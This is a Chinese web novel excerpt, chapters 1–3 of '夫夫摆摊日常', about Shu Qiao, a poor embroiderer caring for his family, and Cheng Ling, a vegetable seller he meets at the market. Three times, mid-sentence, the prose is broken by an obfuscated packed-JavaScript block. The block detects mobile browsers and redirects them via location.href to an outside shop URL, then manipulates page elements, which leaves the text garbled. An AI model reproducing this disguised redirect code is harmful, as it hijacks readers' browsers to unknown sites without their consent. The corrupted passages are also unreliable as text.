《夫夫摆摊日常》
1. 第 1 章
日头毒得能烤化青石板,热气一股股地从脚底往上窜。
今年夏天来得又早又凶,街边的饮子摊被围得水泄不通,生意格外红火。
“酸梅汤、绿豆水,今日新添了冰镇冷元子!”摊主的吆喝声又亮又脆,手里递碗的动作也没停,“大娘,您的汤,慢些喝!”
舒乔挎着篮子停下脚,目光越过攒动的人头,落在那丝丝缕缕冒着的凉气上,仿佛那点子凉意也能隔着距离沾到自己身上。
不少人接过碗就迫不及待地仰头灌下,一口气喝完,发出一声满足的喟叹,脸上尽是畅快。
舒乔瞧着那碗里晶莹的冷元子,心想不知是什么滋味,听得“七文一碗”时,睫毛轻轻颤了一下,便默默收回视线,侧身紧贴着墙根那片窄窄的阴影,加快了步子。直到看见前头布铺的牌子,才一低头钻了进去。
“乔哥儿可算来了!”王掌柜一见是他,立刻放下算盘站起身,摇着葵扇笑道,“上回你绣的那几条帕子卖得俏,好几个主顾都打听呢。往常你三五日便来一回,这回隔了这些天,我正琢磨着要不要使人去你家瞧瞧。”
“劳掌柜的挂心了,这几日家里事多,耽搁了些。”舒乔忙从篮子里取出叠得整齐的帕子,在柜面上一一铺开。
六方帕子,绣着玉兰、并蒂莲,虽是寻常棉布,但针脚匀净细密,丝线过渡自然,那花瓣儿仿佛真带着露水,活灵活现。
王掌柜凑近了细看,尤其是那方并蒂莲,瓣尖一抹若有若无的浅粉,他不由用扇骨轻敲柜台,赞道:“难怪刘娘子肯多加两文!如今这般雅致不俗的花样卖得好,你往后多绣些,我按市价再给你加一文。”
舒乔一听,眼睛倏地一亮,忙应了声“好”。暑气蒸得他两颊泛红,额角也渗出细汗。他心下欢喜,想着家中绣线不多,又低头细细挑了些需用的颜色。
一条帕子二十文,六条便是一百二十文,扣除新买的绣线,实得一百一十四文。
二十文听着不少,可除去本钱,再算上耗费的眼力和工夫,也就勉强贴补家用。好在王掌柜为人爽利,给的价钱公道,结钱也利落痛快,绝不会拿话搪塞人。
他将铜钱仔细揣好,转身又去了粮铺,称了些玉米面。
晚上就用新面蒸窝头,昨儿剩的野菜正好做汤。想到妹妹小圆前几日嘟囔着想吃鸡蛋,他念着橱柜里仅存的那几枚,心里一时有些踌躇。
篮子沉甸甸的,他双手抱着,没走多远,腹前的衣衫便被汗水洇湿了一片。他抬手抹去淌到下颌的汗珠,望见前面熟悉的巷口,不由得加快了脚步。
南巷靠近城门,几十户人家屋檐挨着屋檐,东家炒菜西家闻香,为着鸡毛蒜皮拌嘴是常事,转头又能端着碗串门子。
此时日头正毒,巷口树荫下聚着些纳凉闲扯的人。张家媳妇尖利的数落声隔老远就能听见,舒乔无心停留,抱着篮子快步绕过。
进入巷子,右边第三户,那木门已有些斑驳。他推门进去,顺势用脚轻轻挡住想往外溜达的母鸡,反身闩好了门。
“乔哥儿,回来了?”屋里传来秦氏带着些许虚弱的声音。
“哎,回来了。”舒乔应着,将篮子拎进灶屋,“娘,小圆和小临呢?”
“刚跑出去了,就在巷子后头,没走远。”秦氏坐在炕沿,话末忍不住弯下腰,掩着嘴咳了好一阵。
舒乔关好橱柜,闻声疾步过去,倒了碗水递到秦氏手边,另一只手轻轻为她拍着背,声音里带着担忧道:“娘,是不是又难受得紧了?”
“好了好了,老毛病了。”秦氏接过水慢慢喝了两口,摆摆手,将碗搁下。
病气笼罩着她布满细纹的脸,面色苍白,唇色也淡,唯有嘴角和眼尾那温和的笑意,依旧如故。
当家的去得早,她一个人拉扯几个孩子,日日为柴米油盐算计,愁绪从未断过。可看着孩子们一点点长大,再多的苦累,她也觉得值了。
大夫叮嘱需静养,舒乔便搬了个小凳坐在炕边,拿起白日未完工的帕子,指尖捏着细针,不紧不慢地穿梭。他嘴里陪娘说着闲话,声音轻缓。秦氏静静听着,目光柔和地落在他专注的侧脸上。
不觉日头偏西,已近酉时,酷热稍减,但闷意未消。
舒乔放下绣绷,活动了一下有些发酸的脖颈和肩膀,站起身道:“娘,我去灶房准备晚饭。”
“去吧,时候也不早了。”秦氏说着,顺手拿起他放下的帕子端详着。
家里三间瓦房并排,窄长的灶房,还拿木板另隔了块地方,平日洗漱冲凉就在此。院子里搭了个草棚,堆着杂物,也宿着家里唯一的那只母鸡。
年初买的三只鸡雏,一只没抗住冻死了,另一只因门没关严跑丢了。为那只丢的鸡,全家出动找了许久,舒乔现在想起,心里仍会漫上淡淡的懊恼——三文钱,就这么没了。
他推开灶房那扇略显沉滞的橱柜门,心里估算着时辰,取出碗舀面。高粱面放得少些,掺在玉米面里,吃起来不至于太糙手。
他一边缓缓加入温水,一边用筷子搅成絮状,随即上手,用力将面团揉捏均匀,手指灵巧地一转一捏,便塑出一个底部带窝的窝头来。不多时,案板上就站好了好几个黄澄澄的窝头。
正要生火,眼角瞥见那母鸡又慢悠悠踱了进来,他忙扬起手作势驱赶喊:“出去!”
家里这鸡总关不住,一围它就想法子飞出来,有次竟落到了邻家的墙头上。
舒乔拿它没法,只得由它在院里闲逛,平时就多拿几次扫帚。好在它下蛋勤勉,即便天气这般酷热,鸡窝里每日总有一枚温热的蛋等着,也算对得起小圆小临日日出城为它打草寻虫的辛苦。
他搓掉手上的面粉,目光落在橱柜顶那只小筐里,里面躺着这几日攒下的几枚鸡蛋。
自娘病后,家里进项全靠他绣帕子,积蓄微薄,加上每月固定的药钱,荤腥已是难得。他犹豫片刻,还是取了两枚下来,打算做个水蒸蛋,再煮了剩下的野菜,晚饭也就齐了。
“乔哥儿,你来一下。”秦氏的声音从屋里传来。
舒乔以为秦氏要取什么东西,忙应道:“来了!”
秦氏见他进来便说:“你舟阿么方才来过,让你得空了去他家一趟,也没说是什么事。瞧我这记性,现在才想起来,灶房的活儿不急,你先去瞧瞧。”
“哎,好。”舒乔应下,先去舀水洗净了手,又将灶房里做好的窝头用竹罩盖好,这才出门。
舟阿么家隔了两户,与舒乔家几乎是前后脚在此落脚。两家都是和善人家,平日往来勤。可惜舟阿么的汉子去得早,也没留下一儿半女,如今家中就他和两位老人相依。
见院门虚掩着,舒乔扬声唤了句“舟阿么”,便推门而入。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164049|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“乔哥儿来啦?正好,我刚煎的油饼出锅,快进来,趁热尝一个!”舟阿么拿着筷子站在灶房门口,笑呵呵地朝他招手。
舒乔也不客气,反手带上门,跟着走了过去。
“慢点,烫着呢,”舟阿么夹起一个金黄酥脆的油饼递过来,看着他接过,眯眼笑道,“味儿咋样?”
饼一入口,滚烫的油香和面香立刻充盈口腔,舒乔被烫得直抽气,却忍不住连连点头,含糊道:“好吃!”
这饼用白面掺了玉米面,擀薄后裹上切碎的腊肉丁和韭菜,小火煎得外脆里嫩,油滋滋的,让人吃了就停不下嘴。他一边吹着气,一边又大大咬了一口,腮帮子塞得鼓鼓的。
舟阿么解下襜衣挂好,说道:“今早老二送了新粮来,你方大娘馋这口了,我就多做些。待会儿给你拿几个回去,都尝尝。”
舒乔知舟阿么的性子,客气反倒让他不快,便乖巧点头,心里想着改日再过来多帮衬些活儿。他看了看安静的院子,问:“方大娘和方大爷不在家?”
“你方大娘去菜行那边转悠了,他爹也跟着去了。”舟阿么边说边拿了个盘子,麻利地夹了好几个油饼放进去。
舟阿么家院子比舒乔家宽敞些,鸡也养了十几只。县城不比乡下,喂鸡的食料都得算计。
靠近城门还能去打些野草、捉点虫子,若懒得走远,也可像方大娘这样,赶在菜行收摊时,去捡些人家不要的烂菜叶子回来。
“乔哥儿,你家那只鸡,这大热天的天天出去打草也辛苦,不如也去菜行尾摊看看,捡些菜叶回来喂它。”
舟阿么说着,目光落在他清瘦白净的脸蛋上,顿了顿又道,“你要是面皮薄,不好意思,等你方大娘去的时候,我让她叫上你一起。她那张嘴啊,利索着呢,旁人占不到便宜。”
舒乔眨了眨眼,想到弟妹每次满头大汗回来的样子,便点头道:“行,那到时我同方大娘一起。”
“这就对喽!等她回来我就跟她说。”舟阿么脸上绽开笑意,“还有啊,我盘算着等入冬,就让家里母鸡抱窝,到时候孵出小鸡崽,你也捉几只回去养着。”
舟阿么每回去舒乔家,看见那只孤零零的母鸡,总觉得该给它寻个伴,没准这样它就愿意待在棚里了。
冬日尚远,舒乔没多说什么,只安静地接过舟阿么递来的,盛满油饼的盘子。
“那我先回去了,舟阿么。”
“回吧回吧,饼趁热吃,凉了味道就差啦。”舟阿么叮嘱道。
看着舒乔掩好门离开,这才转身去找砧板和刀。
等会儿老两口拾了菜回来,他还得赶紧剁了喂鸡呢。圈里那十几只鸡,早已等得不耐烦,正“咯咯咯”地叫个不停。
舒乔端着热乎的油饼往家走,心里还琢磨着舟阿么说的菜行捡菜叶的事。
家里开春养的鸡,先前小圆小临借着给鸡打草的机会,天天往外边跑,他也就随他们去了。
但如今天热的厉害,还是少在日头下跑的好,万一中暑可不是开玩笑的。
若真能捡些好的回来,鸡能吃得更饱不说,也免得小临小圆再天天出城了。
听舟阿么说运气好时,也能碰上些还算水灵的菜,没准还能省下几文菜钱。
他心里盘算着,推开了院门,对上呆站在院子里的母鸡,想了想还是掐了一小块饼皮扔给它。
2. 第 2 章
舒乔心里惦记着去菜行的事,翌日临近酉时,便搬了张凳子坐在院里。他手里虽拿着绣绷,针线却动得慢,不时留意着门外的动静。
一听见方大娘那爽利的嗓音响起,他立刻扬声应了,利落地收起针线,转身进屋放好,又快步钻进灶房拎起墙角的空篮子,跟秦氏打了声招呼便小跑着出了门。
方大娘正和人站在门外闲聊,见舒乔出来,凑到那婶子耳边低语了几句,这才风风火火地朝舒乔走来。
“方大娘。”舒乔扬起一个明快的笑容。
“诶乔哥儿,咱们快走!”方大娘一把拉住他的胳膊就往前赶,“去晚了,好的菜帮子都让别人捡了去,咱们家的鸡可就没口福了。”
舒乔被她带着,不由得也加快了脚步,两人几乎是小跑着穿过了巷子。
菜行坐落于县城东南角,与南巷口隔着两条主街。若是贪快,从后街那条窄巷穿过去,约莫一炷香的功夫便能到。
每日天蒙蒙亮,城郊和邻近村子的菜农便挑着满筐沾露水的鲜菜赶来这里。
辰时到巳时之间,最为喧闹,讨价还价声、吆喝叫卖声不绝于耳。待到酉时,主街店铺纷纷上门板,菜行也渐渐冷清,摊主开始收拾所剩无几的残菜,这时,便是舒乔他们这些来捡菜叶的人出现的时辰。
舒乔和方大娘紧赶慢赶,踏入菜行时,大多摊位已空空如也。方大娘眼尖,瞥见角落还有个摊位旁堆着些卖剩的菜,拉着舒乔便凑了过去。
那摊位后站着个身量颇高的年轻汉子,穿着一件洗得泛白的短褂,露出的手臂线条结实流畅,正低头用草绳利索地捆着最后几把青菜。听见脚步声,他手上动作未停,只抬眼淡淡扫了来人一眼,目光平静无波。
方大娘脸上堆起笑,上前问道:“这位小哥,这些剩菜还要不?不要的话,我们捡回去喂鸡了。”
舒乔安静地站在方大娘身侧,悄悄打量对方。这汉子肤色是常年日晒形成的小麦色,眉眼生得英挺,下颌的线条绷得有些紧,瞧着不像是个整日守着菜摊,会与人说笑寒暄的。
程凌瞥了眼筐里那些发蔫的青菜和歪瓜裂枣,将最后一根草绳绕好,声音低沉地应道:“拿去吧。”
方大娘一听,眉开眼笑,连忙扯了扯舒乔的袖子道:“快,乔哥儿,赶紧的。”
舒乔应声蹲下,手脚麻利地将还能喂鸡的菜叶和菜帮子往篮子里拣。程凌就站在一旁,默不作声地看着,目光偶尔掠过舒乔低垂的、专注的侧脸。
不多时,篮子便装得满满当当。舒乔站起身,拍了拍沾在衣角的菜屑,轻声道:“大娘,够了。”
方大娘点点头,又朝那汉子笑道:“多谢小哥了!”
程凌只微微颔首,算是回应。
两人转身刚要走,却听身后传来那汉子的声音道:“等等。”那嗓音带着些微沙哑,却透着一股沉稳的力量。
舒乔和方大娘同时停下脚步,回过头。
程凌从筐底拿起一把品相还算周正的苋菜,递了过来道:“这个,还能吃。”
舒乔看着那把叶片虽有些失水却依旧鲜嫩的苋菜,一时怔住,没有立刻去接。
方大娘反应快些,哎哟一声,连忙伸手接过,塞进舒乔的篮子里,连声道谢,“这怎么好意思,小哥你太客气了!谢谢,谢谢啊!”
程凌没再说什么,转身继续收拾自己的空筐。
舒乔跟着方大娘走出几步,忍不住又回头望了一眼。日头斜斜挂在檐角,将那汉子忙碌的身影拉得长长的,在青石板上轻轻晃动。
“今儿运气真不赖!”方大娘掂了掂舒乔臂弯里的篮子,忽然撇撇嘴,抱怨起来,“哪像昨天,跟你方大爷那个慢郎中一块儿,磨蹭到这时候才来,就捡了几根被虫啃得不成样子的黄瓜尾子回来,真气人!”
舒乔闻言,忍不住抿嘴笑起来。方大爷性子温吞,是巷子里出了名的,与急性子的方大娘凑在一处,平添了许多趣谈。
方大娘见他笑了,目光又落到那苋菜上,伸手拈起一片嫩叶,赞道:“别说,刚才那小哥瞧着闷葫芦似的,心肠倒不坏。你瞧这苋菜多水灵,回去拿蒜末一炒,香得很!”
舒乔点头,心里琢磨着,下回若来买菜,定要光顾他的摊位,算是还了这份人情。
走到巷口时,方大娘又嘱咐道:“乔哥儿,明儿我得去东市扯点布,你要是还来菜市,记得赶早。”
“哎,记下了,大娘。”舒乔轻快应道。
两人在门口分开,舒乔拎着沉甸甸的篮子走进院子,扬声道:“我回来了!”
“哥哥回来啦!”屋里传来舒小圆清脆的应答,随即一阵脚步声,小姑娘顶着一晃一晃的双丫髻从屋里跑了出来,脸上尽是期待。
“哇,这么多菜!”舒小圆伸手来接篮子,被那分量坠得胳膊一沉,赶紧用双手抱在怀里。
“嗯,够鸡吃两天的了。”舒乔说着,目光在院里扫了一圈,没见着弟弟的身影,眉头扬了扬,“这两天,你们俩就不用特地跑出去打草了。”
“啊——”舒小圆方才还亮晶晶的眼睛瞬间黯淡下去,小嘴也撅了起来,“我还跟小满说好了,明天要去渠边抓蜻蜓呢……”
舒乔没理会妹妹装出来的可怜相。弟妹虽不算幼童,但玩心重,一出门就常忘了时辰。想起昨晚两人顶着通红的脸蛋、满头大汗跑回来的模样,他心肠便硬了几分,打定主意要拘着他们几日。
舒小圆见哥哥不为所动,只好耷拉着脑袋,认命地提起菜篮,去屋里拿了菜刀,蹲在鸡窝旁,“咚咚咚”地剁起菜来。
一旁的母鸡当即扑着翅膀围上前,咕咕叫了几声,啄起了碎菜叶子吃起来。
听着院角传来的剁菜声,舒乔在灶房里仔细掐去苋菜的老根和萎叶,嫩红的菜梗攒了满满一大碗,足够炒上一盘。
晚饭依旧是简单的搭配——窝窝头,一盘清炒苋菜,一碟爽脆的腌黄瓜。
他擦了把额上的汗,探头望了望窗外渐暗的天色,扬声道:“小圆,看见你小临哥没?”
舒小圆正踮着脚收竹竿上晾干的衣裳,闻言大声回道:“没呢!”
舒乔系着襜衣站在灶房门口,望着院门方向蹙眉道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164050|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“饭都做好了,人跑哪儿野去了?你知道他去哪儿了吗?”
舒小圆抱着叠好的衣裳往屋里走,感受到哥哥询问的目光,连忙把脑袋摇得像拨浪鼓,“不知道。哥你出门后没多久,他就不见影了。”那时她和娘在屋里,一错眼的功夫,小临哥就溜出去了。
生怕哥哥再多问,小姑娘话没说完就一溜烟钻进了里屋。
舒乔回到灶房,将菜盛进粗瓷盆里。刚转过身,就听见院门“吱呀”一声被推开了。
舒小临闪身进门,反手将门带上,一回头,正对上舒乔带着审视的目光。他立刻咧开嘴,露出一口白牙,笑着凑上前,“哥,我回来了!”
不等舒乔开口,他便亲热地揽住哥哥的肩膀往灶屋里带,嘴里像抹了蜜道:“哥,你做的饭也太香了!我在巷子口就闻着味儿了,一路跑回来的!”
舒小临今年十四,身量随了去世的舒大,蹿得极快,眼看就要赶上舒乔。巷邻们见了,总爱说一句“小临又长高了”,他也总是嘴甜地应着,在巷子里很吃得开。
舒乔被他这么一揽,原本想训斥的话也堵在了嘴边,只轻轻拍了拍他的胳膊道:“去,叫娘和小圆吃饭。”
舒小临响亮地应了一声,手脚麻利地拿碗筷,还不忘把灶膛里未燃尽的柴火彻底熄灭。
此时夕阳已完全沉下,天边只余一抹暖融的橘色,映得巷子上方的天空格外温柔。
家家户户的烟囱里飘出袅袅炊烟,与饭菜香气交织在一起,弥漫在巷弄之间。孩童的嬉笑声,大人的呼唤声偶尔传来,织成一幅充满烟火气息的画卷。
“哥,你手艺真是这个!”舒小临咬了一大口窝窝头,又夹了一筷子蒜香十足的苋菜塞进嘴里,含糊不清地夸赞,“这苋菜炒得又嫩又入味,吃了还想吃!”
“有吗?”舒小圆故意挑眉反问。
“怎么没有!你细品品,绝了!”舒小临说着,还特意给妹妹碗里夹了一筷苋菜,两人立刻你一言我一语地斗起嘴来。
舒乔默默咬了一块窝头,听着弟妹吵闹,懒得插话。
“好了,都少说两句,好好吃饭。”秦氏笑着用筷子虚点了点盘子,“菜都快凉了。”
舒小圆安静了片刻,忽然又指向舒小临道:“今晚该你洗碗!”
“知道啦。”舒小临顺口应下,拿着窝窝头将盘子里剩余的苋菜汤汁擦得干干净净,咬了一口才猛地反应过来,“诶?不对!昨天就是我洗的!”
“你记错了,昨天明明是我洗!”舒小圆梗着脖子,毫不示弱。
小小的院落里,顿时又充满了兄妹俩叽叽喳喳的拌嘴声,直到碗筷都收拾进了灶房,才渐渐安静下来。
而此时,菜行那边的程凌也早已收拾妥当,挑着空担子往家赶。路上遇见同村的李大叔,对方笑着招呼道:“程凌,今儿卖得咋样?”
“还行,差不多了。”程凌应道,脚步并未放缓。
李大叔看了眼他空荡荡的箩筐,又道:“看你天天来,够勤快的。对了,我家地里的豆子快熟了,过几日要人手帮忙收,你得空不?”
3. 第 3 章
程凌本就打算这几天在家忙地里的活,李大叔家的豆子不算多,也不费多少时间。
程凌略一思忖,点头道:“得空,到时我去。”
两人边说边走着,夕阳将他们的影子在路上拉得老长,一路向着村落的方向延伸而去。
日头西沉,天光敛尽,程凌踏着暮色回到村里时,家家户户的窗棂里已透出暖黄的灯光。
村子里静悄悄的,只余几声零落的犬吠和碗筷碰撞的细响,大多人家已用过晚饭,正拾掇着准备洗漱歇下。
程母许氏听见动静,立刻从堂屋里探出身来,关切道:“可算回来了!天都黑透了,我正跟你爹商量着要不要去道上迎迎你呢。”
她快步走到儿子跟前,见他额发被汗水濡湿,身上带着一股热气,不由得伸手替他拍了拍衣角的灰,连声道:“锅里温着饭菜呢,热水也烧好了,儿子你是想先吃饭,还是先擦洗松快松快?”
程凌卸下肩头的担子,活动了一下酸胀的臂膀,嗓音因疲惫而显得有些沙哑道:“先歇口气,喝点水再说。”
“对对,快进屋坐着。”许氏忙不迭地应着,顺手接过他担子上挂着的空水囊,转身就往堂屋走,“我今儿特意泡了大麦茶,这会儿喝正好,解乏。”
程凌跟着进屋,也没寻碗,径直拿起桌上的水壶,仰头便吨吨灌。他喝得有些急,茶水顺着下颌滑落,洇湿了前襟也顾不上。
后院的程父程大江听见动静,也摇着葵扇踱了进来。
“回来啦。”他站到儿子身旁,手中的扇子不疾不徐地送着凉风,脸上带着宽和的笑意。
“慢点喝,当心呛着,一会儿该吃不下饭了。”许氏端着一个海碗从灶屋出来,碗里是堆得满满的面条,上面卧着个油汪汪的荷包蛋,铺着几片腊肉和翠绿的青菜。
她把碗往程凌面前一放,又轻轻推了推程大江,“你也坐下歇着,别挡着风。”
程凌一口气喝了大半茶水解渴,这才长长舒了口气,仿佛将一身的疲惫都随着那口气吐了出去。他端起碗,拿起筷子,埋头大口吃起来。
许氏又转身端来一碟馒头放在桌上,在旁边坐下,目光扫过院中空筐,见里头只剩下几根零星的菜叶,嘴角便忍不住向上弯了弯。
程凌午间只啃了两个干饼子,此刻饿得狠了,面条吸得哧溜作响,不多时碗就见了底。他又拿起一个馒头,就着碗里剩下的汤汁,大口吃着。
天色彻底暗沉下来,许氏起身点亮了桌上的油灯,将未做完的针线活计归拢到竹篮里。
程凌吃完,自觉收拾碗筷要去灶房清洗,许氏在他身后叮嘱道:“锅里有热水,仔细兑好了再洗,一身汗可不敢冲凉水,仔细激着!”
“知道了,娘。”程凌在灶房那头应了一声。
许氏收好针线,见程父还摇着扇子坐在原处,便道:“还不回屋?让儿子也早点歇着吧,有什么话明儿再说。”
程大江还想分辨两句,许氏已端起油灯,不由分说地道:“回吧回吧,儿子累了一天了。”
程大江只好起身跟着她回了屋。
乡间夜晚静谧,月光如水般倾泻而下,将小院照得亮堂堂的。
程凌懒得再点灯,就着明澈的月光找了身干净衣裳,打水匆匆擦洗了一番,便回了自己屋子。
他躺下合眼,刚要沉入梦乡,忽地想起什么,又坐起身来,从袋里摸出那个沉甸甸的布包。就着窗透进的月光,他将里面的铜钱一枚枚倒在床上,仔细清点起来。
这两日因着家里要用牛耕地,他挑去县城的菜比往日少些,即便如此,今日也卖了一百一十五文。他将铜钱用麻绳仔细串好,放进床头的木匣里,这才重新躺下,心里盘算着接下来的活计。
地里要播玉米,还得抽空去帮李大叔收豆子,这一忙恐怕就得两三天。等忙完这阵,就能赶着牛车多装些菜,拉到县城去卖。
意识朦胧间,白天在菜行遇见的那位哥儿清秀的面容,毫无预兆地浮现在眼前。程凌倏地睁开了眼,翻了个身,试图将那画面驱散,却发现那带着浅笑的模样反而愈发清晰了。
没等他细想出缘由,沉重的困意来势汹汹,很快便睡了过去。
翌日,程凌在窗外雀鸟的啁啾声中醒来,天边才刚泛起鱼肚白。
他坐在床上,怔忡了片刻,昨夜梦里,那位哥儿似乎笑着来到他的摊前买菜,可没等看清,梦便醒了。
他用力搓了把脸,甩开那点莫名的思绪,利落地套上衣裳起身漱口。
今日田里的活计还多着呢,容不得他分神。
——
夏日天光早,巷子里挑水扁担的吱呀声、邻里交谈声,交织成一片充满生机的喧闹景象。
舒乔是家里起得最早的,趁着晨间尚有几分凉意,在灶屋利落地热好了馒头和稀饭。
听见院里传来脚步声,他以为是娘起了,出门却见是弟弟舒小临,不禁有些意外。
这半大小子正长身体,平日里不睡到日上三竿难得起身,今日这般早,倒属罕见了。
舒乔看着他,心下琢磨这小子是不是又憋着劲儿想溜出去。
“哥,早!”舒小临打水潦草地抹了把脸,挂好面巾,一脸精神地凑到灶屋门口,“今早吃啥?”
“馒头,稀饭。”舒乔洗净手,甩了甩水珠,瞥见墙角水缸快要见底,便吩咐道,“吃完跟我去挑水。”
巷子里有几口公用的水井,最近的就在巷口。舒乔力气不算大,每次挑水只敢装半桶,有舒小临搭手,不仅能多挑些,速度也快上不少。
舒小临嘴里塞着馒头,含混不清地连连答应,“成,没问题!”
舒乔没什么胃口,只就着稀饭匆匆吃了个馒头便饱了。舒小临却已风卷残云般吃完,拎起水桶就往外走。舒乔盖好留给娘和妹妹的饭食,也扛起扁担跟了出去。
井边已有三两人在打水,舒小临手脚麻利地打满两桶。兄弟俩合用一根扁担,一人一头,晃晃悠悠地往家抬。如此来回四趟,才将院里一大一小两个水缸装满。
舒乔拿起皂角,坐在小凳上开始搓洗衣裳。见舒小临手里捏着菜叶,有一搭没一搭地喂鸡,眼神却总往门口瞟,便知他心思早飞了。他心下无奈,终究没再多约束,只淡淡叮嘱了一句,“别跑太远,记得早点回家。”
舒小临立即嘻嘻一笑,将手里最后一把菜叶丢给鸡去啄,又手脚勤快地帮哥哥把洗衣服的木盆舀满水。
“小临!小临——”门外传来压着嗓子的呼唤。舒小临眼睛一亮,拍了拍舒乔的肩,“哥,我走啦!保证早回!”话音未落,人已像泥鳅般溜出了门,反手带上了院门。
院子里霎时安静下来,只剩下舒乔搓洗衣裳的“唰唰”声和拍打声。
日头渐渐升高,晨间那点可怜的凉气被蒸腾得一干二净,灼热的一天又拉开了序幕。
刚把洗净的衣裳晾上竹竿,秦氏和舒小圆也相继醒了。三人坐在炕上,一边做着绣活,一边闲话家常。
“前儿听舟阿么提起,他家今日要晒菜干。”舒乔将手中快绣完的帕子收了最后一针,说道,“我过去搭把手,切菜洗菜的活儿都能帮上忙。”
秦氏点头称是,“该当的。舟阿么待咱们亲厚,常来常往的,能帮就帮一把。”
舒小圆早就在屋里坐不住了,一听这话立刻跳下炕穿鞋,“我也去!”
“走吧。”舒乔将针线仔细收进竹篮,领着妹妹便往舟阿么家去。
两人到时,舟阿么正将一筐黄瓜往大木盆里挪,见他们来了也不客套,直接分派起活计。
“小圆年纪小,搬个板凳跟你方大娘坐荫凉地儿洗菜就成。乔哥儿手脚利落,跟我一块儿切菜,咱们动作快些,赶在中午饭前弄完。”说着,他挽起袖子,又转身去灶屋取来两把刀。
院角那边,方大爷正对着晒菜干的架子敲敲打打,方大娘在一旁看得直皱眉,忍不住扬声道:“行啦行啦!瞧着挺牢靠的,你再折腾,好好的架子真要被你弄散架了!”
“哪就那么不经事?不拾掇拾掇才容易坏。”方大爷依旧是不紧不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164051|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢的语调,手里的锤子又“邦邦”敲了两下。
那架子应声晃了晃,险些歪倒。
方大娘哎哟两声,连连摆手,“快别添乱了,进屋把簸箕找出来刷洗干净,比什么都强!”她一边说着,一边没好气地用力搓着手里的黄瓜。
舒乔与舒小圆对视一眼,都悄悄抿嘴笑了。
舟阿么将刀递给舒乔,见众人都忙活开了,脸上笑呵呵的道:“晌午都留这儿吃饭,我蒸包子,韭菜鸡蛋馅和素馅的都有,管够!绝不叫你们白忙活。”
舒小圆立刻捧场,声音甜甜的道:“舟阿么做的包子最香了!”
“那是!”舟阿么手下切着菜,嘴上也闲不住,顺口就聊起了街坊间的事儿,“跟你们说,这做包子也是个手艺活。拐角那家的婆母,前儿还跟我抱怨,说她家新媳妇做的包子馅少不说,面皮硬邦邦,吃起来都磕牙,为这个还吵起来了……”
方大娘在一旁搭腔,两人你一言我一语,将左邻右舍的琐碎趣事说得活灵活现。
舒乔和舒小圆听得入神,手上的活却是没落下
在舟阿么家忙活到午时已过,临近未时才总算歇下。不过热腾腾、皮薄馅足的大包子一出笼,所有的辛苦都觉得值了,满院都是诱人的面香和菜香。
舟阿么记挂着舒乔家里人,又拿碗夹了好几个包子塞给他,“带回去给你娘和小临尝尝,也省得你们再开火。”
舒乔和舒小圆回到家时,只有秦氏一人在院里歇着。
“小临哥还没回来?”舒小圆捧着盘子,一边看着秦氏吃,一边探头往屋里张望。
“没呢,准是又玩得忘了时辰。”秦氏吃完一个包子,擦了擦手道。
舒小圆闻言,皱了皱鼻子,“那没办法,只好让小临哥晚上热了吃了。”
舒乔从屋里出来,见妹妹脚底像抹了油似的又想往门口溜,便出声叫住她,“小圆,前儿教你的那种走线,练得怎么样了?把你的绣绷拿来我看看。”
舒小圆的脚步一下子钉在原地,转过身,眨巴着大眼睛,底气不足地含糊道:“大、大概会了吧……”
“到底会了没会?”舒乔微微挑眉。
接收到兄长那了然的目光,舒小圆扁了扁嘴,乖乖回屋取来自己绣的那方帕子,垂手站在一旁等着。
舒乔拿起帕子细看,上面的针脚虽略显稚嫩,倒也大致齐整,遂道:“还算有样子。”
“那我是不是可以……”舒小圆眼睛一亮,话未说完便被截住。
“不过,火候还差得远。”舒乔指了指旁边的板凳,“坐旁边,我再给你讲讲这几处怎么走针。”
舒小圆刚刚雀跃起来的心情瞬间跌了回去,认命地去搬了板凳,心里却暗自鼓劲——好好学,学会了就能出去玩了!今天把哥哥教的都练熟,明天一定能准我去城外抓蜻蜓!
她正神游天外,想着和伙伴们在渠边嬉闹的情景,额头上突然被不轻不重地弹了一下。
“嘶——”
“专心些,舒小圆。”舒乔收回手,神色淡淡。
“哦,知道啦,哥哥。”舒小圆赶紧收敛心神,专注地看着哥哥的手势和针尖的走向。
秦氏躺在一旁的摇椅上,微阖着眼,听着儿女的动静,手中的蒲扇有一下没一下地摇着,送来些许凉风。
墙角探进来的树枝上,知了不知疲倦地“吱呀”鸣叫,偶有微风拂过,带来草木的清新气息,稍稍驱散了午后的闷热。
三人坐在院里,忙着手上的活计,有一搭没一搭的聊天,太阳西斜舒乔才起身去做饭。
舒小圆终于得以休息,放好针线篮子,哼着小曲去喂鸡。
晚饭过后,暑热渐消,晚风带着一丝凉意拂过舒家小院。
